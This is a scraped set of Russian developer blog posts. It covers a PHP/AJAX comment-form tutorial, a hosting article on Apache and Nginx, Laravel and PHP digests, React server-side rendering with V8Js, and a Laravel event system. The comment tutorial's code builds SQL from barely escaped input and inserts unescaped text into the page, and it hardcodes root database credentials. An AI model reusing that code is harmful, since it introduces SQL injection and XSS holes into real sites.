Теперь нам нужно получить данные из полей. Но для начала сделаем нашу форму немного симпатичнее, чтобы было приятнее с ней работать. В style.css пропишем:
* {  max-width: 800px;  margin: 0 auto;}textarea {  resize: none;}.clear {  margin-top: 50px;}#author {  width: 100%;  height: 4%;  font-size: 1.3em;}.is-h {  font-weight: bold;  font-family: cursive;  margin-top: 2%;}#message {  width: 100%;  font-size: 1.5em;}.is-button {  cursor: pointer;  color: white;  background-color: green;  width: 25%;  height: 50px;  margin-top: 1%;  outline: none; /* Убираем линию вокруг кнопки при нажатии */  font-weight: bold;  font-family: cursive;  font-size: 1.2em;  border: none;  transition: all 0.3s ease-out;}.is-button:hover {  color: black;  background: rgb(48, 184, 66);}


Теперь наша форма должна выглядить так:


Обработка данных с помощью AJAX


Теперь получим данные из полей, обработаем их и отправим в PHP на доработку:
В файле comments.php, в теге script пропишем:
$(function() {    $("#send").click(function(){ // При нажатии на кнопку      var author = $("#author").val(); // Получаем имя автора комментария      var message = $("#message").val(); // Получаем само сообщение      $.ajax({ // Аякс        type: "POST", // Тип отправки "POST"        url: "sendMessage.php", // Куда отправляем(в какой файл)        data: {"author": author, "message": message}, // Что передаем и под каким значением         cache: false, // Убираем кеширование        success: function(response){ // Если все прошло успешно          var messageResp = new Array('Ваше сообщение отправлено','Сообщение не отправлено Ошибка базы данных','Нельзя отправлять пустые сообщения');          var resultStat = messageResp[Number(response)];          if(response == 0){             $("#author").val("");            $("#message").val("");            $("#commentBlock").append("<div class='comment'>Автор: <strong>"+author+"</strong><br>"+message+"</div>");}            $("#resp").text(resultStat).show().delay(1500).fadeOut(800);}});return false;});});

Обработка данных и запись их в БД


Теперь приступим к самому интересному. Для начала нам нужно провести самые примитивные проверки и словить данные с AJAX. В sendMessage.php пишем:
<?php include("connect.php"); // Подключаемся к БДheader("Content-type: text/html; charset=UTF-8"); // Устанавливаем кодировку//Если JS у пользователя включенif(empty($_POST['js'])){ if($_POST['message'] != '' && $_POST['author'] != ''){ // Если поля не пустые$author = @iconv("UTF-8", "windows-1251", $_POST['author']);$author = addslashes($author);$author = htmlspecialchars($author);$author = stripslashes($author);$author = mysql_real_escape_string($author); // Обрабатываем данные$message = @iconv("UTF-8", "windows-1251", $_POST['message']);$message = addslashes($message);$message = htmlspecialchars($message);$message = stripslashes($message);$message = mysql_real_escape_string($message); // Обрабатываем данные$date = date("d-m-Y в H:i:s"); // Получаем дату(фиксируем)$result = $mysql->query("INSERT INTO `messages` (`author`, `message`, `date`) VALUES ('$author', '$message', '$date')"); // Передаем в БД значенияif($result == true){echo 0; //Ваше сообшение успешно отправлено}else{echo 1; //Сообщение не отправлено. Ошибка базы данных}}else{echo 2; //Нельзя отправлять пустые сообщения}}// Если отключен JavaScript if($_POST['js'] == 'no'){if($_POST['message'] != '' && $_POST['author'] != ''){$author = $_POST['author'];$author = addslashes($author);$author = htmlspecialchars($author);$author = stripslashes($author);$message = $_POST['message'];$message = addslashes($message);$message = htmlspecialchars($message);$message = stripslashes($message);$date = date("d-m-Y в H:i:s");$result = $mysql->query("INSERT INTO `messages` (`author`, `message`, `date`) VALUES ('$author', '$message', '$date')");if($result == true){echo "Ваше сообшение успешно отправлено"; //Ваше сообшение успешно отправлено}else{echo "Сообщение не отправлено. Ошибка базы данных"; //Сообщение не отправлено. Ошибка базы данных}}else{echo "Нельзя отправлять пустые сообщения"; //Нельзя отправлять пустые сообщения}}?>

Вывод комментариев


Теперь дело за малым. Осталось всего лишь вывести эти комментарии в приятной для глаза форме.
Сначала необходимо подключиться к БД в comments.php. В самом верху пишем:
<?php require 'connect.php'; ?>

В div с id=commentBlock в файле comments.php пишем:
<?php            $result = $mysql->query("SELECT * FROM `messages`"); /*Получаем все данные из таблицы*/            $comment = $result->fetch_assoc(); /* В результирующий массив */            do{echo "<div class='comment' style='border: 1px solid gray; margin-top: 1%; border-radius: 5px; padding: 0.5%;'>Автор: <strong>".$comment['author']."</strong><br>".$comment['message']."</div>"; // Выводим          }while($comment = $result->fetch_assoc());          ?>

По комментариям должно быть все понятно. И теперь у нас должно получиться что-то вроде такого:

Всем спасибо за Внимание! Вот исходники:
comments.php
<?php require 'connect.php'; ?><!DOCTYPE html><html lang="ru"><head>  <title>Комментарии</title>  <link rel="stylesheet" href="http://personeltest.ru/aways/habr.com/css/style.css">  <meta http-equiv="content-type" content="text/html; charset=utf-8">  <script type="text/javascript" src="js/jquery-1.5.1.min.js"></script>  <script type="text/javascript">  $(function() {    $("#send").click(function(){      var author = $("#author").val();      var message = $("#message").val();      $.ajax({        type: "POST",        url: "sendMessage.php",        data: {"author": author, "message": message},        cache: false,        success: function(response){          var messageResp = new Array('Ваше сообщение отправлено','Сообщение не отправлено Ошибка базы данных','Нельзя отправлять пустые сообщения');          var resultStat = messageResp[Number(response)];          if(response == 0){            $("#author").val("");            $("#message").val("");            $("#commentBlock").append("<div class='comment'>Автор: <strong>"+author+"</strong><br>"+message+"</div>");}            $("#resp").text(resultStat).show().delay(1500).fadeOut(800);}});return false;});});            </script>          </head>                    <body>            <form action="sendMessage.php" method="post" name="form">              <p class="is-h">Автор:<br> <input name="author" type="text" class="is-input" id="author"></p>              <p class="is-h">Текст сообщения:<br><textarea name="message" rows="5" cols="50" id="message"></textarea></p>              <input name="js" type="hidden" value="no" id="js">              <button type="submit" id='click' name="button" class="is-button">Отправить</button>            </form>            <div class="clear">                          </div>                        <p>Комментарии к статье</p>                        <div id="commentBlock">              <?php              $result = $mysql->query("SELECT * FROM `messages`");              $comment = $result->fetch_assoc();              do{echo "<div class='comment' style='border: 1px solid gray; margin-top: 1%; border-radius: 5px; padding: 0.5%;'>Автор: <strong>".$comment['author']."</strong><br>".$comment['message']."</div>";              }while($comment = $result->fetch_assoc());              ?>            </div>          </body>          </html>


sendMessage.php:
<?php include("connect.php");header("Content-type: text/html; charset=UTF-8");//**********************************************if(empty($_POST['js'])){if($_POST['message'] != '' && $_POST['author'] != ''){$author = @iconv("UTF-8", "windows-1251", $_POST['author']);$author = addslashes($author);$author = htmlspecialchars($author);$author = stripslashes($author);$author = mysql_real_escape_string($author);$message = @iconv("UTF-8", "windows-1251", $_POST['message']);$message = addslashes($message);$message = htmlspecialchars($message);$message = stripslashes($message);$message = mysql_real_escape_string($message);$date = date("d-m-Y в H:i:s");$result = $mysql->query("INSERT INTO `messages` (`author`, `message`, `date`) VALUES ('$author', '$message', '$date')");if($result == true){echo 0; //Ваше сообшение успешно отправлено}else{echo 1; //Сообщение не отправлено. Ошибка базы данных}}else{echo 2; //Нельзя отправлять пустые сообщения}}//**************************************** Если отключен JavaScript ************************************if($_POST['js'] == 'no'){if($_POST['message'] != '' && $_POST['author'] != ''){$author = $_POST['author'];$author = addslashes($author);$author = htmlspecialchars($author);$author = stripslashes($author);$message = $_POST['message'];$message = addslashes($message);$message = htmlspecialchars($message);$message = stripslashes($message);$date = date("d-m-Y в H:i:s");$result = $mysql->query("INSERT INTO `messages` (`author`, `message`, `date`) VALUES ('$author', '$message', '$date')");if($result == true){echo "Ваше сообшение успешно отправлено"; //Ваше сообшение успешно отправлено}else{echo "Сообщение не отправлено. Ошибка базы данных"; //Сообщение не отправлено. Ошибка базы данных}}else{echo "Нельзя отправлять пустые сообщения"; //Нельзя отправлять пустые сообщения}}?>


connect.php:
<?php$mysql = new mysqli('localhost', 'root', 'root', 'test');?>


style.css:
* {  max-width: 800px;  margin: 0 auto;}textarea {  resize: none;}.clear {  margin-top: 50px;}#author {  width: 100%;  height: 4%;  font-size: 1.3em;}.is-h {  font-weight: bold;  font-family: cursive;  margin-top: 2%;}#message {  width: 100%;  font-size: 1.5em;}.is-button {  cursor: pointer;  color: white;  background-color: green;  width: 25%;  height: 50px;  margin-top: 1%;  outline: none; /* Убираем линию вокруг кнопки при нажатии */  font-weight: bold;  font-family: cursive;  font-size: 1.2em;  border: none;  transition: all 0.3s ease-out;}.is-button:hover {  color: black;  background: rgb(48, 184, 66);}

Подробнее..
Категории: Javascript , Php , Js , Mysql , Ajax , Jquery , Back-end , Comments

Apache amp Nginx. Связаны одной цепью (2 часть)

21.07.2020 12:10:27 | Автор: admin
На прошлой неделе в первой части этой статьи мы описали, как построена связка Apache и Nginx в Timeweb. Мы очень благодарны читателям за вопросы и активное обсуждение! Сегодня рассказываем, как реализована доступность нескольких версий PHP на одном сервере и почему мы гарантируем безопасность данных нашим клиентам.



Виртуальный хостинг (Shared-хостинг) предполагает, что на одном сервере размещено множество аккаунтов клиентов. На аккаунте одного клиента, как правило, находится несколько сайтов. Сайты работают как на готовых CMS (например, Bitrix), так и на кастомных. Таким образом, технические требования у всех систем разные, поэтому в рамках одного сервера необходимо управлять несколькими версиями PHP.

В качестве основного веб-сервера мы используем Nginx: он принимает все подключения извне и отдает статический контент. Остальные запросы мы проксируем дальше, на веб-сервер Apache. Здесь и начинается магия: для каждой версии PHP запущен отдельный экземпляр Apache, который слушает определенный порт. Этот порт прописывается в виртуальном хосте клиентского сайта.

О работе Shared-схемы можно прочитать более подробно в первой части статьи.


Shared-схема

Важно отметить, что мы ставим пакеты PHP под разные версии, потому что обычно во всех дистрибутивах лежит только одна версия PHP.

Safety first!


Одна из главных задач виртуального хостинга обеспечить безопасность данных клиента. Различные аккаунты, находясь на одном сервере, самостоятельны и независимы. Как это работает?

Файлы сайтов хранятся в домашних каталогах самих пользователей, а в виртуальном хосте веб-серверов указываются нужные пути. При этом важно, чтобы веб-серверы, Nginx и Аpache, получили доступ к конечным файлам определенного клиента, так как веб-сервер запускается только от одного пользователя.

Для Nginx используется патч безопасности, разработанный командой Timeweb: этот патч меняет пользователя на того, который указан в конфигурационном файле веб-сервера.

У других хостинг-провайдеров эта проблема может быть решена, например, через манипуляции с расширенными правами файловой системы (ACL).

Для работы Apache используется модуль мультипроцессинга mpm-itk. Он позволяет запускать каждый VirtualHost с собственным идентификатором пользователя и ID группы.


Таким образом, благодаря операциям, описанным выше, мы получаем безопасную изолированную среду для каждого клиента. При этом мы также решаем задачи масштабирования для Shared-хостинга.

Как реализована связка Apache и Nginx, можно прочитать в первой части нашей статьи. Кроме того, там же описана альтернативная конфигурация через Dedicated-схему.

Если у вас остались вопросы к нашим экспертам, пишите в комментариях. Постараемся на всё ответить или описать решение задачи более подробно в следующих статьях.
Подробнее..

Laravel-Дайджест (1319 июля 2020)

19.07.2020 20:12:26 | Автор: admin

Подборка новых статей по фреймворку Laravel. Посмотрим лекции с первого всемирного Laravel-митапа. Постримим твиты. Разберем полезные плагины для PHPStorm. И продолжим вникать в Пайплайны на очереди Пайпы и Хабы.


Laravel Дайджест


На русском языке


  • Пайплайны в Laravel. Часть 2 Пайпы
    Вторая часть цикла о секретном laravel-пакете Pipeline. Мы поговорим о Пайпах (Каналах): как они вызываются, что делают и как их использовать.
  • Пайплайны в Laravel. Часть 3 Хабы
    Третья часть рассказывает о Хабах, которые предназначены для хранения Пайплайнов и вызова их по имени.

На английском


Релизы


  • Laravel 7.20
    Основные изменения забрала версия 7.19.1, срочно выпущенная для отката метода compileInsertGetId. А в этой только добавлен метод ForeignKeyDefinition::cascadeOnUpdate() и внесена пара изменений.
  • Laravel Log Dumper 1.3
    Теперь можно логировать запросы к БД.
  • Twill 2.1
    Опенсорсный Laravel-пакет для создания CMS/Админки.
  • Laravel Cross Eloquent Search
    Пакет для одновременного поиска в нескольких Eloquent-моделях. Поддерживает сортировку, пагинацию, скоупы, жадную загрузку и поиск по нескольким столбцам.
  • Laravel Deletable
    Пакет для обработки ограничений на удаление Eloquent -моделей с помощью трейта.

Уроки



Видео



Наш TelegramТелеграм-канал следите за новостями о Laravel.
Подробнее..

Laravel-Дайджест (2026 июля 2020)

26.07.2020 20:06:58 | Автор: admin

Подборка новых статей по фреймворку Laravel. Посмотрим доклады с Laracon. Подивимся визуальному генератору кода Vemto. Изучим Event Sourcing. Узнаем, как добиться финансового успеха c Laravel. Отпразднуем новую версию Laravel Excel и 20 миллионов скачиваний.


Laravel Дайджест


Релизы


  • Анонс Vemto
    Студия и Генератор кода. Десктопное визуальное приложение для подготовки Laravel-проектов.
  • Laravel Boilerplate 7
    Каркас для создания приложений со множеством готового функционала. Проект полностью переписан под Laravel 7.
  • Laravel Model Cleanup 3.0
    Удаление ненужных записей. Поддержка безопасной очистки больших таблиц и таблиц под нагрузкой. Пакет полностью переписан.
  • Laravel Excel 3.1.20
    Подробное описание новых фишек и празднование 20 миллионов скачиваний пакета.
  • Laravel Event Sourcing 4.0
    Пакет для реализации Event Sourcing (Порождение событий).
  • Laravel EventSauce 2.0
    Пакет для использования EventSauce в Laravel 7.
  • Laravel Nova 3.8

Уроки



Видео



Видео с Laracon



Наш TelegramТелеграм-канал следите за новостями о Laravel.
Подробнее..

Laravel-Дайджест (27 июля 2 августа 2020)

02.08.2020 22:16:32 | Автор: admin

Подборка новых статей по Laravel. Срочное исправление уязвимости во фреймворке. Анонс женского сообщества Ларавел-разработчиц. Новый стек разработки приложений. Бесплатный курс по веб-сокетам.


Laravel Дайджест


Новости


Laravel скачали более 100 миллионов раз.


Релизы


  • Laravel 7.22.4 и 6.18.31
    Исправление уязвимости. Рекомендуется немедленное обновление, которое приведет к аннулированию любых существующих файлов cookie, созданных вашим приложением; следовательно, пользователи вашего приложения должны будут повторно пройти аутентификацию.
  • Анонс Larabelles
    Zuzana Kunckova представляет женское сообщество Laravel-разработчиц.
  • Localizater
    Пакет для удобной локализации маршрутов.

Уроки



Видео



Наш TelegramТелеграм-канал следите за новостями о Laravel.
Подробнее..

PHP-Дайджест 185 (20 июля 3 августа 2020)

03.08.2020 12:13:23 | Автор: admin

Свежая подборка со ссылками на новости и материалы. В выпуске: PHP 8 Alpha 3, PhpStorm 2020.2, новый оператор ?->, снова обсуждение синтаксиса атрибутов и другие новости PHP Internals, обзор системы типов в PHP, порция полезных инструментов, видео, стримы и многое другое.

Приятного чтения!



Новости и релизы


  • PHP 8.0.0 Alpha 3 Последний альфа-релиз из запланированных. Первая бета ожидается 6 августа.
  • Релиз PhpStorm 2020.2 Объединенные типы PHP 8, новый движок потока управления, пул-реквесты GitHub, OpenAPI. По ссылке подробный разбор этих и других изменений.

PHP Internals


  • [RFC] Shorter Attribute Syntax Change История с синтаксисом атрибутов в PHP 8 продолжается. Предыстория была в канале.

    Вкратце: сначала был << >>, переголосовали за @@, а теперь новый виток обсуждений.
    У @@ были проблемы с парсером, но они решены благодаря нижеупомянутому RFC про неймспейсы. Тем не менее у него есть другие проблемы, и в качестве альтернативы предлагался вариант #[ ] как в Rust, но и у него есть минусы.

    Дошло до того, что рассматривается вариант переголосования за новый синтаксис и перенос атрибутов в PHP 8.1, потому что фиче-фриз для 8.0 уже 4 августа. То есть либо в PHP 8.0, но с одним из << >>, #[], @@, либо в PHP 8.1 с чем угодно.

    Для последнего случая предлагаются самые разные новые варианты: @[Attribute], в комментарии PHPDoc с двойной собачкой /** @@MyAttribute */, или даже маловероятный переделать оператор подавления ошибок из @ в @@, а одинарную @ использовать в атрибутах.


Laravel



Материалы для обучения



Аудио/Видео



Спасибо за внимание!

Если вы заметили ошибку или неточность сообщите, пожалуйста, в личку.
Вопросы и предложения пишите на почту, в твиттер или телеграм pronskiy.

Больше новостей и комментариев в Telegram-канале PHP Digest.

Прислать ссылку
Поиск ссылок по всем дайджестам
Предыдущий выпуск: PHP-Дайджест 184
Подробнее..

Laravel-Дайджест (39 августа 2020)

09.08.2020 22:07:12 | Автор: admin

Подборка новых статей по фреймворку Laravel. Новая версия с исправлением двух уязвимостей. Книга по оптимизации приложений. Рилтайм чат на сокетах. Соблюдение SRP в Laravel.


Laravel Дайджест


Релизы



Уроки



Видео



Наш TelegramТелеграм-канал следите за новостями о Laravel.
Подробнее..

SSR рендеринг ReactJS приложения на бекэнде используя PHP

10.08.2020 14:22:42 | Автор: admin


Перед нами стояла задача реализовать конструктор сайтов. На фронте всем управляет React-приложение, которое на основе действий пользователя, формирует JSON с информацией о том, как построить HTML, и сохраняет его на PHP бэкенд. Вместо дублирования логики сборки HTML на бэкенде, мы решили переиспользовать JS-код. Очевидно, что это упросит поддержку, так как код будет меняться только в одном месте одним человеком. Тут нам на помощь приходит Server Side Rendering вместе с движком V8 и PHP-extension V8JS.

В этой статье мы расскажем, как мы использовали V8Js для нашей конкретной задачи, но варианты использования не ограничиваются только этим. Самым очевидным выглядит возможность использовать Server Side Rendering для реализации SEO-потребностей.

Настройка


Мы используем Symfony и Docker, поэтому первым делом необходимо инициализировать пустой проект и настроить окружение. Отметим основные моменты:

  1. В Dockerfile необходимо установить V8Js-extension:

    ...RUN apt-get install -y software-properties-commonRUN add-apt-repository ppa:stesie/libv8 && apt-get updateRUN apt-get install -y libv8-7.5 libv8-7.5-dev g++ expectRUN git clone https://github.com/phpv8/v8js.git /usr/local/src/v8js && \   cd /usr/local/src/v8js && phpize && ./configure --with-v8js=/opt/libv8-7.5 && \   export NO_INTERACTION=1 && make all -j4 && make test installRUN echo extension=v8js.so > /etc/php/7.2/fpm/conf.d/99-v8js.iniRUN echo extension=v8js.so > /etc/php/7.2/cli/conf.d/99-v8js.ini...
    

  2. Устанавливаем React и ReactDOM самым простым способом
  3. Добавляем index роут и дефолтный контроллер:

    <?phpdeclare(strict_types=1);namespace App\Controller;use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;use Symfony\Component\HttpFoundation\Response;use Symfony\Component\Routing\Annotation\Route;final class DefaultController extends AbstractController{   /**    * @Route(path="/")    */   public function index(): Response   {       return $this->render('index.html.twig');   }}
    

  4. Добавляем шаблон index.html.twig с подключенным React

    <html><body>    <div id="app"></div>    <script src="{{ asset('assets/react.js') }}"></script>    <script src="{{ asset('assets/react-dom.js') }}"></script>    <script src="{{ asset('assets/babel.js') }}"></script>    <script type="text/babel" src="{{ asset('assets/front.jsx') }}"></script></body></html>
    

Использование


Для демонстрации V8 создадим простой скрипт рендеринга H1 и P с текстом assets/front.jsx:

'use strict';class DataItem extends React.Component {   constructor(props) {       super(props);       this.state = {           checked: props.name,           names: ['h1', 'p']       };       this.change = this.change.bind(this);       this.changeText = this.changeText.bind(this);   }   render() {       return (           <li>               <select value={this.state.checked} onChange={this.change} >                   {                       this.state.names.map((name, k) => {                           return (                               <option key={k} value={name}>{name}</option>                           );                       })                   }               </select>               <input type='text' value={this.state.value} onChange={this.changeText} />           </li>       );   }   change(e) {       let newval = e.target.value;       if (this.props.onChange) {           this.props.onChange(this.props.number, newval)       }       this.setState({checked: newval});   }   changeText(e) {       let newval = e.target.value;       if (this.props.onChangeText) {           this.props.onChangeText(this.props.number, newval)       }   }}class DataList extends React.Component {   constructor(props) {       super(props);       this.state = {           message: null,           items: []       };       this.add = this.add.bind(this);       this.save = this.save.bind(this);       this.updateItem = this.updateItem.bind(this);       this.updateItemText = this.updateItemText.bind(this);   }   render() {       return (           <div>               {this.state.message ? this.state.message : ''}               <ul>                   {                       this.state.items.map((item, i) => {                           return (                               <DataItem                                   key={i}                                   number={i}                                   value={item.name}                                   onChange={this.updateItem}                                   onChangeText={this.updateItemText}                               />                           );                       })                   }               </ul>               <button onClick={this.add}>Добавить</button>               <button onClick={this.save}>Сохранить</button>           </div>       );   }   add() {       let items = this.state.items;       items.push({           name: 'h1',           value: ''       });       this.setState({message: null, items: items});   }   save() {       fetch(           '/save',           {               method: 'POST',               headers: {                   'Content-Type': 'application/json;charset=utf-8'               },               body: JSON.stringify({                   items: this.state.items               })           }       ).then(r => r.json()).then(r => {           this.setState({               message: r.id,               items: []           })       });   }   updateItem(k, v) {       let items = this.state.items;       items[k].name = v;       this.setState({items: items});   }   updateItemText(k, v) {       let items = this.state.items;       items[k].value = v;       this.setState({items: items});   }}const domContainer = document.querySelector('#app');ReactDOM.render(React.createElement(DataList), domContainer);

Переходим на localhost:8088 (8088 указан в docker-compose.yml как порт nginx):



  1. БД
    create table data(   id serial not null primary key,   data json not null);
    

  2. Роут
    /*** @Route(path="/save")*/public function save(Request $request): Response{   $em = $this->getDoctrine()->getManager();   $data = (new Data())->setData(json_decode($request->getContent(), true));   $em->persist($data);   $em->flush();   return new JsonResponse(['id' => $data->getId()]);}
    


Нажимаем кнопку сохранить, при нажатии на наш роут отправляется JSON:

{  "items":[     {        "name":"h1",        "value":"Сначала заголовок"     },     {        "name":"p",        "value":"Немного текста"     },     {        "name":"h1",        "value":"И еще заголовок"     },     {        "name":"p",        "value":"А под ним текст"     }  ]}

В ответ отдается идентификатор записи в БД:

/*** @Route(path="/save")*/public function save(Request $request): Response{   $em = $this->getDoctrine()->getManager();   $data = (new Data())->setData(json_decode($request->getContent(), true));   $em->persist($data);   $em->flush();   return new JsonResponse(['id' => $data->getId()]);}

Теперь, когда есть тестовые данные, можно попробовать V8 в действии. Для этого необходимо будет набросать React скрипт, который будет формировать из переданных пропсов Dom компоненты. Положим его рядом с другими assets и назовем ssr.js:

'use strict';class Render extends React.Component {   constructor(props) {       super(props);   }   render() {       return React.createElement(           'div',           {},           this.props.items.map((item, k) => {               return React.createElement(item.name, {}, item.value);           })       );   }}

Для того, чтобы сформировать из сформированного DOM дерева строку, воспользуемся компонентом ReactDomServer (http://personeltest.ru/aways/unpkg.com/browse/react-dom@16.13.0/umd/react-dom-server.browser.production.min.js). Напишем роут с получением готового HTML:

/*** @Route(path="/publish/{id}")*/public function renderPage(int $id): Response{   $data = $this->getDoctrine()->getManager()->find(Data::class, $id);   if (!$data) {       return new Response('<h1>Page not found</h1>', Response::HTTP_NOT_FOUND);   }   $engine = new \V8Js();   ob_start();   $engine->executeString($this->createJsString($data));   return new Response(ob_get_clean());}private function createJsString(Data $data): string{   $props = json_encode($data->getData());   $bundle = $this->getRenderString();   return <<<JSvar global = global || this, self = self || this, window = window || this;$bundle;print(ReactDOMServer.renderToString(React.createElement(Render, $props)));JS;}private function getRenderString(): string{   return       sprintf(           "%s\n%s\n%s\n%s",           file_get_contents($this->reactPath, true),           file_get_contents($this->domPath, true),           file_get_contents($this->domServerPath, true),           file_get_contents($this->ssrPath, true)       );}

Здесь:

  1. reactPath путь до react.js
  2. domPath путь до react-dom.js
  3. domServerPath путь до react-dom-server.js
  4. ssrPath путь до нашего скрипта ssr.js

Переходим по ссылке /publish/3:



Как видно, все было отрисовано именно так, как нам нужно.

Заключение


В заключении хочется сказать, что Server Side Rendering оказывается не таким уж сложным и может быть очень полезным. Единственное что стоит здесь добавить рендер может занимать достаточно долгое время, и сюда лучше добавить очередь RabbitMQ или Gearman.

P.P.S. Исходный код можно посмотреть тут https://github.com/damir-in/ssr-php-symfony

Авторы
damir_in zinvapel
Подробнее..
Категории: Reactjs , Php , Docker , Symfony

Подсистема событий как способ избавиться от задач по допилу

27.07.2020 20:17:32 | Автор: admin

Знаете, как бывает, задачу надо сделать не хорошо, а быстро, т.к. на нее завязаны деньги, партнеры и много всего другого очень важного для бизнеса. В итоге где-то что-то не продумали, где-то упустили, что-то захардкодили, в общем, все ради скорости. И, вроде, все хорошо, все работает, но


Через какое-то время оказывается, что функционал нужно расширять, а сделать это сложно, не хватает гибкости. За настройками, конечно, обращаются к разработчикам. И, конечно же, это отвлекает от других задач и не покидает ощущение, что время потрачено зря.


Вот и у меня возникла такая ситуация. Когда-то по-быстрому запилили интеграцию с системой e-mail-маркетинга, а потом посыпались задачи по типу если пользователь сделал это, необходимо вот это записать вот сюда. Из-за отсутствия наглядности бизнес-процессов возникало их пересечение, данные затирали друг друга, записывалось не то.


Event subsystem / Подсистема событий

Хочу рассказать, как вышли из этой ситуации.


В какой-то момент в системе что-то или кто-то генерирует событие. Например, пользователь зарегистрировался, обновил данные профиля, совершил покупку и т.п.


Это событие нужно поймать и обработать. Например, отправить письмо, передать данные в CRM или какую-то другую систему. Обработчиков может быть много и их количество будет увеличиваться со временем.


Необходимо связать событие и обработчики. Запускать их нужно как безусловно, так и по некоему условию. Например, если пользователю 20 лет, то ему отправляем письмо одного вида, а если 60, то другого.


Разработка ведется на PHP на Laravel. В этом фреймворке уже есть события и обработчики, на их основе и построена подсистема.


Event subsystem scheme / Подсистема событий - диаграмма

Обрабатывать все возможные существующие события в системе не целесообразно, будем перехватывать только события, реализующие специальный интерфейс. Согласно ему, каждое событие должно сообщать, какие данные несёт в себе и иметь свой уникальный идентификатор.


<?php App\Interfaces\Events  use Illuminate\Contracts\Support\Arrayable;  /** * System event * @package App\Interfaces\Events */ interface SystemEvent extends Arrayable {      /**      * Get event id      *      * @return string      */     public static function getId(): string;      /**      * Event name      *      * @return string      */     public static function getName(): string;      /**      * Available params      *      * @return array      */     public static function getAvailableParams(): array;      /**      * Get param by name      *      * @param string $name      *      * @return mixed      */     public function getParam(string $name); } 

Ещё есть пул доступных событий. В нем регистрируются те события, которые являются системными и имеют какое-то значение для бизнес-процессов.


<?php namespace App\Interfaces\Events;  /** * Interface for event pool * @package App\Interfaces\Events */ interface EventsPool {     /**      * Register event      *      * @param string $event      *      * @return mixed      */     public function register(string $event): self;      /**      * Get events list      *      * @return array      */     public function getAvailableEvents(): array;      /**      * @param string $alias      *      * @param array  $params      *      * @return mixed      */     public function create(string $alias, array $params = []); } 

Обработчик событий это просто класс, имеющий определённый интерфейс. И он, как и событие, сообщает, какие данные может принимать, что получается на выходе, имеет название и ID.


<?php namespace App\Interfaces\Actions;  /** * Interface for system action * @package App\Interfaces\Actions */ interface Action {     /**      * Get ID      *      * @return string      */     public static function getId(): string;      /**      * Get name      *      * @return string      */     public static function getName(): string;      /**      * Available input params      *      * @return array      */     public static function getAvailableInput(): array;      /**      * Available output params      *      * @return array      */     public static function getAvailableOutput(): array;      /**      * Run action      *      * @param array $params      *      * @return void      */     public function run(array $params): void; } 

Обработчики так же регистрируются в реестре с таким же интерфейсом как у пула событий.


Рассмотрим gui настройки связи событие-обработчик. У меня он реализован с использованием knockout.js, но это не принципиально.



Как вы видите, есть блок в котором настраиваются условия запуска обработчика. Первая колонка параметр из события, затем идёт условие и значение, с которым будет сравнение.


В настройке обработчика так же три основных колонки. Первая параметр из обработчика. В него нужно передать параметр из события(это вторая колонка). Параметр события можно не задавать, значение может быть константой. Например, в случае регистрации по e-mail передаётся 0, а в случае регистрации через соц.сеть передаётся 1, или какие-то человекопонятные значения.


В самом начале говорил, что все началось с интеграции с системой email- маркетинга Sendsay. В момент создания сущности в нашей системе, должна создаваться так называемая анкета на стороне Sendsay. При создании, в неё не передаются пользовательские данные, все статично. Это тот случай, когда нужно задать произвольные значения. Добавляем строку, вбиваем название поля в анкете, а в значение тип поля.


Связь настроили, посмотрим на главный обработчик событий.


<?php namespace App\Interfaces\Events;  /** * Interface for event processor * @package App\Interfaces\Events */ interface EventProcessor {     /**      * Process system event      *      * @param SystemEvent $event      * @param array       $settings      */     public function process(SystemEvent $event, array $settings = []): void; } 

<?php namespace App\Interfaces\Events;  /** * Interface for event processor * @package App\Interfaces\Events */ interface EventProcessor {     /**      * Process system event      *      * @param SystemEvent $event      * @param array       $settings      */     public function process(SystemEvent $event, array $settings = []): void; } 

Метод process будем вызывать в SystemEventListener.


<?php namespace App\Listeners;  use App\Interfaces\Events\SystemEvent; use App\Interfaces\Events\EventProcessor; use App\Models\EventSettings; use Illuminate\Support\Collection;  class SystemEventListener {     /** @var EventProcessor */     private $eventProcessor;      public function __construct(EventProcessor $eventProcessor)     {         $this->setEventProcessor($eventProcessor);     }      public function handle(SystemEvent $event): void     {         EventSettings::query()->where('is_active', true)->where('event_id', $event::getId())->chunk(10, function (Collection $collection) use ($event) {             $collection->each(function (EventSettings $model) use ($event) {                 $this->getEventProcessor()->process($event, $model->settings);             });         });     }      /**      * @return EventProcessor      */     public function getEventProcessor(): EventProcessor     {         return $this->eventProcessor;     }      /**      * @param EventProcessor $eventProcessor      *      * @return $this      */     public function setEventProcessor(EventProcessor $eventProcessor): self     {         $this->eventProcessor = $eventProcessor;          return $this;     } } 

Регистрируем в провайдере:


<?php namespace App\Providers;  use App\Interfaces\Events\SystemEvent; use App\Listeners\SystemEventListener; use Illuminate\Foundation\Support\Providers\EventServiceProvider as ServiceProvider;   class EventServiceProvider extends ServiceProvider {     /**      * The event listener mappings for the application.      *      * @var array      */     protected $listen = [          SystemEvent::class            => [             SystemEventListener::class,         ],      ]; }

В итоге мы получили возможность настраивать события в системе через интерфейс. Включать и выключать обработчики без изменения кода. Новые модули системы без дополнительных вмешательств могут добавлять свои события и/или обработчики.


После небольшого обучения все это было передано пользователям админки, что высвободило дополнительное рабочее время.


И еще немного кода.


Проверка условий и маппинг параметров:


<?php namespace App\Interfaces\Services;  /** * Interface for service to filter data (from HUB) * @package App\Interfaces\Services */ interface Filter {     public const CONDITION_EQUAL = '=';      public const CONDITION_MORE = '>';      public const CONDITION_LESS = '<';      public const CONDITION_NOT = '!';      public const CONDITION_BETWEEN = 'between';      public const CONDITION_IN = 'in';      public const CONDITION_EMPTY = 'empty';      /**      * Filter data      *      * @param array $filter      * @param array $data      *      * @return array      */     public function filter(array $filter, array $data): array;      /**      * Check conditions      *      * @param array $conditions      * @param array $data      *      * @return bool      */     public function check(array $conditions, array $data): bool; } 

